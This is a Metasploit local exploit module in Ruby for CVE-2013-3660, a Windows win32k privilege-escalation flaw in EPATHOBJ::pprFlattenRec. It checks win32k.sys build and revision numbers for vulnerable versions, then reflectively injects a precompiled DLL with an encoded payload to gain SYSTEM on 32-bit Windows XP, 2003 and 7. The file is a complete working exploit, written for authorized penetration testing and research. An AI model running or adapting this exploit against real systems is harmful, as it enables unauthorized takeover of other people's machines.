##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
          'Description' => %q{
            This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
            of uninitialized data which allows to corrupt memory. At the moment, the module has
            been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
            'progmboy <programmeboy[at]gmail.com>', # Original Exploit
            'Keebie4e',     # Metasploit integration
            'egypt',        # Metasploit integration
            'sinn3r',       # Metasploit integration
            'Ben Campbell', # Metasploit integration
            'juan vazquez', # Metasploit integration
            'OJ Reeves'     # Metasploit integration
          ],
          'Arch' => ARCH_X86,
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread',
            'WfsDelay' => 30
          },
          'Targets' => [
            [ 'Automatic', {} ]
          ],
          'Payload' => {
            'Space' => 4096,
            'DisableNops' => true
          },
          'References' => [
            [ 'CVE', '2013-3660' ],
            [ 'EDB', '25912' ],
            [ 'OSVDB', '93539' ],
            [ 'MSB', 'MS13-053' ],
            [ 'URL', 'https://seclists.org/fulldisclosure/2013/May/91' ],
          ],
          'DisclosureDate' => '2013-05-15',
          'DefaultTarget' => 0,
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_sys_config_getenv
              ]
            }
          },
          'Notes' => {
            'Reliability' => UNKNOWN_RELIABILITY,
            'Stability' => UNKNOWN_STABILITY,
            'SideEffects' => UNKNOWN_SIDE_EFFECTS
          }
        }
      )
    )
  end

  def check
    if session.platform == 'windows'
      file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys'
      major, minor, build, revision, branch = file_version(file_path)
      vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}")

      # WinXP x86 - 5.1.2600.6404
      # WinXP/2003 5.2.3790.5174
      # WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132
      # Win72k8R2 -  6.1.7601.18176 / 6.1.7601.22348
      # Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732
      case build
      when 2600
        return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable") if revision < 6404
      when 3790
        return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable") if revision < 5174
      when 6000
        return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable")
      when 6001
        return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable")
      when 6002
        if branch == 18
          return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable") if revision < 18861
        elsif revision < 23132
          return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable")
        end
      when 7600
        return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable")
      when 7601
        if branch == 18
          return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable") if revision < 18176
        elsif revision < 22348
          return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable")
        end
      when 9200
        if branch == 16
          return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable") if revision < 16627
        elsif revision < 20732
          return Exploit::CheckCode::Appears("Revision #{revision} appears vulnerable")
        end
      end
    end

    return Exploit::CheckCode::Safe("Revision #{revision} is not vulnerable")
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
    end

    if sysinfo['Architecture'] == ARCH_X64
      fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
    end

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status('Reflectively injecting the DLL into a new process and triggering the LPE...')
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3660', 'ppr_flatten_rec.x86.dll'),
      encoded_payload
    )
    print_status("Exploit thread executing (can take a while to run), waiting #{datastore['WfsDelay']} sec ...")
  end
end
